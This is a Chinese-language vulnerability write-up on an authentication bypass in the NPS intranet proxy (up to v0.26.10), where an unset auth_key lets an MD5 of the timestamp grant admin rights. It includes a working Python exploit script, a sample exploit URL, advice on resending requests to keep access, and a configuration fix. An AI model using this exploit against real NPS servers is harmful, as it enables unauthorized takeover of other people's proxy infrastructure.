壹 漏洞概念
之前一直用NPS
做代理,后来和朋友聊天的时候,说该工具有0day
未授权漏洞,然后白嫖了一下思路,然后自己进行简单分析后利用成功!NPS
是一款轻量级、高性能、功能强大的内网穿透代理服务器。对于NPS
近期爆出来了一个未授权的漏洞。
贰 漏洞原理及利用条件
nps
的web
端使用beego
框架,重写了Prepare
函数,在该函数中进行了权限控制,漏洞文件在web/controllers/base.go
:
通过这个判断我们可以看到需要两个参数auth_key
和timestamp
,当这两个参数不符合if
语句的第一个条件时,会进入else
语句,设置session
中的isadmin
为true
,而由于在nps
的配置文件中,auth_key
默认是被注释的:
这就导致代码中beego.AppConfig.String("auth_key")
获取的结果就是空值,这样crypt.Md5(configKey+strconv.Itoa(timestamp)
就相当于只需要把timestamp
进行md5
即可:
所以漏洞的原因就是由于没有设置auth_key
的值导致的!
叁 适用版本
目前知道的有漏洞的版本是v0.26.10
之前的(包括该版本)!
肆 复现环境说明
使用的是v0.26.10
版本:
伍 复现
根据原理我们构造EXP
(下面有脚本),这里我们使用Get
请求:
http://192.168.239.139:8080/Index/Index/?auth_key=6a9000fce76de17a23d817c5f906e3df×tamp=1663751157
但是我们通过web/controllers/base.go
代码可以看到时效只有20s
,而且如果使用Get
请求的话,只能使用一次,所以建议使用Post
请求,而且还需要不断的发包请求,维持权限。
陆 利用Poc|Exp以及工具
import time
import hashlib
import requests
# 构造URL
IP = "192.168.239.139:8080"
URL = "http://{}/Index/Index".format(IP)
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
# 代理
# Proxies={"http":"http://127.0.0.1:8080"}#格式是"协议":"代理地址:端口"
# 请求头
Headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0",
"Content-Type": "application/x-www-form-urlencoded",
}
# 请求体
Data = {
"auth_key":auth_key,
"timestamp":int(now),
}
# 获取请求
try:
requ = requests.post(URL,headers = Headers,data = Data)
if "/index/hostlist" in requ.text:
print("\033[32;1m[+]\033[0m NPS存在未授权漏洞,URL为:{}".format(URL+"/?auth_key={}×tamp={}".format(auth_key,int(now))))
else:
print("\033[31;1m[-]\033[0m NPS不存在未授权漏洞!")
except BaseException as err:
print("\033[31;1m[-]\033[0m NPS不存在未授权漏洞!",err)
柒 危害
反制NPS
。
捌 修复建议
只需要在配置文件里去掉auth_key
的注释,同时注释掉auth_crypt_key
: